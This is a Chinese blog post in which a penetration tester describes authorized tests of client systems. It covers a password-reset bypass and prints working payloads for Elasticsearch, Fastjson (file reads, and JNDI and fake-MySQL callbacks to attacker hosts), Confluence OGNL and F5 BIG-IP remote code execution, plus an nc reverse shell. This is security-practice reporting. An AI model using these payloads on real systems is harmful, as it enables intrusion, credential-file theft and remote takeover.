三流安全工程师的渗透测试记录

jiangmingzi

WIN哥学安全2023-09-24 23:24发表于天津
0x00  前言

熟悉笔者的朋友都知道，我目前在测评机构做专职渗透测试，平常的工作也只是侧重于验证漏洞存在即可，并不太涉及对漏洞的深入利用以及实际能产生的危害。但作为渗透爱好者，怎么可能仅仅满足于此。在时间、条件允许的情况下，我会在测评对象的范围内尽可能地找出高危，追求getshell，把客户系统当作靶场来搞（狗头）。本文记录了最近一段时间在工作中遇到的一些漏洞（相关漏洞目前均已修复，相关截图均已进行脱敏处理），没啥技术含量，纯脚本小子有手就行，大佬勿喷。

0x01  渗透测试记录一、某企业密码找回功能存在用户名枚举和任意用户密码重置

功能界面如下：

1.用户名枚举

随意输入一个手机号，点击获取验证码，提示如下：

如果号码存在，则会提示验证码发送成功。此处可以使用burp抓取获取验证码的包，然后用手机号码字典不断替换手机号码来枚举存在的用户名。

2.任意用户密码重置

输入提供的测试账号，点击发送验证码，验证码随意填入123456，填好修改的密码qwe123!@#后点击提交，首先会检查输入的验证码是否正确：

拦截此包的响应包，响应包返回2，这里改为1：

放行数据包，浏览器中提示找回密码成功：

使用刚才填入的密码qwe123!@#成功登录：

此处找回密码的逻辑是先发送一个数据包验证手机验证码是否正确，响应包返回1才会再发送重置密码的数据包。这里如果是直接发送重置密码的数据包，是否也能重置成功呢？

我尝试了下，直接发送重置密码的数据包，此处密码为md5加密，密码原文为abc#123456:

返回为成功，使用abc#123456确实登录成功。然而这并不意味着，无论何时，直接发送重置密码的数据包都能成功的，这里能成功，是因为手机验证码一般都会有个有效时间，大概发送验证码后的十分钟内，直接发送重置密码的包是能重置成功的。十分钟后虽然返回也是成功，但是登录不上。

给的修复建议是：

1.后端校验验证码是否正确；

2.去掉单独校验验证码的数据包，将验证码与修改后的密码在同一数据包中发送给后端，后端校验验证码正确后直接修改密码，不二次发包。

二、某企业内网存在Elasticsearch远程代码执行漏洞

这个是使用内网扫描神器fscan扫描出来（内网就是fscan一把梭哈），起先扫描的是fscan默认的端口，没啥成果，然后全端口扫描发现Elasticsearch的两个RCE。扫到洞，接下来不就是有手就行的事了嘛，payload在p神的vulhub里面就有。

1.Elasticsearch远程代码执行漏洞（CVE-2014-3120）

payload：

1. {
   
2.    "size": 1,
   
3.    "query": {
   
4.      "filtered": {
   
5.        "query": {
   
6.          "match_all": {
   
7.         }
   
8.       }
   
9.     }
   
10.   },
    
11.    "script_fields": {
    
12.        "command": {
    
13.            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A").next();"
    
14.       }
    
15.   }
    
16. }

复制代码

复现截图：

2.Elasticsearch Groovy 沙盒绕过远程代码执行漏洞（CVE-2015-1427）

payload：

1. {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()"}}}

复制代码

复现截图：

给的修复意见就是升级咯~

三、某企业外网Gitlab存在SSRF和远程代码执行漏洞

这两个洞是在被测系统所部署的服务器开放的另一个端口上发现的。SSRF是看到版本后去搜的，RCE是使用nuclei扫描提示漏洞存在，然后去网上找脚本来复现的（脚本小子用着别人的脚本，真香）

1.Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)

Burp中发送如下数据包，dnslog中收到请求：

该服务器是一台华为云服务器，没有内网，所以即使是存在SSRF也不能做什么事。SSRF我觉得除了用来探测内网，读取文件实际中就没啥用了，什么SSRF攻击内网，SSRF打redis未授权getshell，靶场中才会有，实际根本遇不到。

2.Gitlab授权认证远程代码执行漏洞（CVE-2022-2185）

项目地址：https://github.com/star-sg/CVE/tree/master/CVE-2022-2185[url=https://github.com/ESUAdmin/CVE-2022-2185]https://github.com/ESUAdmin/CVE-2022-2185[/url]

漏洞分析复现：https://starlabs.sg/blog/2022/07 ... ysis-cve-2022-2185/

Gitlab漏洞汇总:https://xz.aliyun.com/t/11690

复现过程：

首先注册一个pentest/pentest@1234用户，在vps上启动一个FAKE_SERVER:

Nc监听12345端口：

运行poc脚本，运行反弹shell命令：

FAKE_SERVER上收到来自目标机器的请求：

4-5分钟后nc 接受到目标反弹回来的shell:

给的修复建议就是升级咯~

四、某企业外网存在Fastjson反序列化、内网Confluence远程代码执行漏洞

Fastjson反序列化是使用burp被动扫描插件fastjson scan扫描出来的，Confluence远程代码执行漏洞是fscan扫描出来的，然后网上去找payload（狗头）。

各版本fastjson利用payload可参考safe6sec：

https://github.com/safe6Sec/Fastjson

1.微信小程序fastjson反序列任意文件读取（类似时间盲注）

该小程序请求的domain1.target.com域名下的某个接口存在fastjson反序列任意文件读取，payload如下：

1. {
   
2. "abc":{"@type": "java.lang.AutoCloseable",
   
3.    "@type": "org.apache.commons.io.input.BOMInputStream",
   
4.    "delegate": {
   
5.   "@type": "org.apache.commons.io.input.ReaderInputStream",
   
6.      "reader": {
   
7. "@type": "jdk.nashorn.api.scripting.URLReader",
   
8.        "url": "file:///etc/passwd"
   
9.     },
   
10.      "charsetName": "UTF-8",
    
11.      "bufferSize": 1024
    
12.   },"boms": [
    
13.     {
    
14.        "@type": "org.apache.commons.io.ByteOrderMark",
    
15.        "charsetName": "UTF-8",
    
16.        "bytes": [114,
    
17. ]
    
18.     }
    
19.   ]
    
20. },
    
21. "address": {
    
22.   "@type": "java.lang.AutoCloseable",
    
23.   "@type": "org.apache.commons.io.input.BOMInputStream",
    
24.   "delegate": {
    
25. "@type": "org.apache.commons.io.input.ReaderInputStream",
    
26. "reader": {
    
27.   "@type": "jdk.nashorn.api.scripting.URLReader",
    
28.   "url": "http://xxxx.oastify.com/"
    
29. },
    
30. "charsetName": "UTF-8",
    
31. "bufferSize": 1024
    
32. },
    
33.   "boms": [{"$ref":"$.abc.BOM[0]"}]
    
34. },
    
35. "xxx":{"$ref":"$.address.BOM[0]"}
    
36. }

复制代码

114对应/etc/passwd第一行第一个字节r的ascii码，当字节序列匹配时，dnslog上会收到请求：

当字节序列不匹配时，dnslog上接收不到请求：

尝试读取/etc/passwd的第一行，匹配的字节序列为：

"bytes":[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:

即读取到/etc/passwd第一行为：

root:x:0:0:root:/root:/bin/ash2.管理后台存在fastjson反序列任意文件读取（类似布尔盲注）

payload如下：

1. {"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///etc/passwd"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[114]}]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String"{"$ref":"$.abc.BOM[0]"},"start":0,"end":0}}

复制代码

114对应/etc/passwd第一行第一个字节r的ascii码，当字节序列匹配时，服务器返回状态为500：

不匹配则返回200：

尝试读取/etc/passwd文件的第一行，匹配的字节序列为：

"bytes":[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:

即读取到/etc/passwd第一行为：

root:x:0:0:root:/root:/bin/ash

有关fastjson反序列化读取文件可参考：

https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ

https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%96%87%E4%BB%B6/

3.微信小程序fastjson反序列化远程代码执行漏洞（fake mysql利用）

微信小程序请求的domain2.target.com域名下的三个接口存在反序列化RCE漏洞：

服务端启动一个fake mysql:

Burp中发送如下payload，让目标机器向目标域名xxxx.oastify.com发起一次DNS请求:

1. {"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"vps_ip","portToConnectTo":3306,"info":{"user":"yso_URLDNS_http://xxx.oastify.com","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mysql","url":""}}

复制代码

发送后，fake mysql服务器上接收到目标请求，并将payload返回给目标机器，让目标机器执行：

过几秒后，r7zfjbp3hnp749lu4slz9rygr7xxlm.oastify.com接收到dns查询请求：

fake mysql利用难的是找到一条利用链getshell，此处试了ysoserial中的所有链子，并没有找到一条利用链子。关于fastjson RCE的fake mysql利用方式可参考：

https://github.com/dushixiang/evil-mysql-server

https://github.com/fnmsd/MySQL_Fake_Server

4.某后台存在fastjson反序列化远程代码执行漏洞（JNDI注入高版本绕过）

项目地址：https://github.com/veracode-research/rogue-jndi

Vps上启动一个ldap服务：

Burp中发送如下payload：

1. {"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://x.x.x.x:2389/o=tomcat","autoCommit":true}}

复制代码

Dnslog上收到请求，且whoami被执行,权限为root:

关于JNDI注入高版本绕过可参考：

https://blog.csdn.net/mole_exp/article/details/121141042

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

5.内网Confluence存在CVE-2021-26084和CVE-2022-26134远程代码执行漏洞（1）CVE-2021-26084

CVE-2021-26084即是Atlassian Confluence OGNL表达式注入代码执行漏洞，版本小于7.13.0，有多个接口存在这个OGNL表达式注入漏洞，重点关注以下三个路径：

在无需登录的情况下，访问/pages/doenterpagevariables.action或/pages/createpage-entervariables.action，如果存在，说明存在该漏洞。

在登录状态下（需要是管理员或有权限访问/admin/console.action），访问/pages/createpage.action，也可进行漏洞利用。

payload：

1. queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027

复制代码

Burp中发送如下数据包：

可以看到命令被执行，权限为root:

(2) CVE-2022-26134

Confluence OGNL 注入漏洞，查看返回数据包X-Cmd-Response字段内容

payload：

1. GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

复制代码

Burp中发送payload，获取服务器root权限：

Confluence漏洞合集：

https://www.dianjilingqu.com/504336.html

五、某企业内网F5-BIG-IP 远程代码执行漏洞（CVE-2022-1388）

该漏洞允许未授权的攻击者通过接口对BIG-IP系统访问，并能执行任意系统命令、创建、删除文件以及关闭服务

payload1：

1. POST /mgmt/tm/util/bash HTTP/1.1  
   
2. Host: ip:port
   
3. Authorization: Basic YWRtaW46  
   
4. Connection: keep-alive, X-F5-Auth-Token  
   
5. X-F5-Auth-Token: 0  
   
6. 
   
7. {"command": "run" , "utilCmdArgs": " -c 'id' " }

复制代码

payload2：

1. POST /mgmt/tm/util/bash HTTP/1.1  
   
2. Host:ip:port
   
3. Authorization: Basic YWRtaW46  
   
4. Connection: keep-alive, X-F5-Auth-Token  
   
5. X-F5-Auth-Token: 0  
   
6. {"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

复制代码

参考：

https://forum.butian.net/share/1567

至于内网中常见的弱口令，docker-api未授权，Nacos默认口令/未授权认证绕过，Spring actuator未授权访问等这些漏洞就不用说了。

0x02  总结

1.作为三流安全工程师，脚本小子，渗透嘛，就是拿着别人写的脚本、工具去扫描、去攻击，梭哈是艺术，找到洞是运气，找不到洞是常事。getshell了感觉自己又行了。

2.找不到洞又得写报告，什么中间件版本信息泄漏、用户名枚举、明文传输、jquery版本存在xss、x-frame-options报头缺失点击劫持啥的写上。

3.做水水的事，写水水的报告是工作常态。

没关系，又活了一天已经很厉害了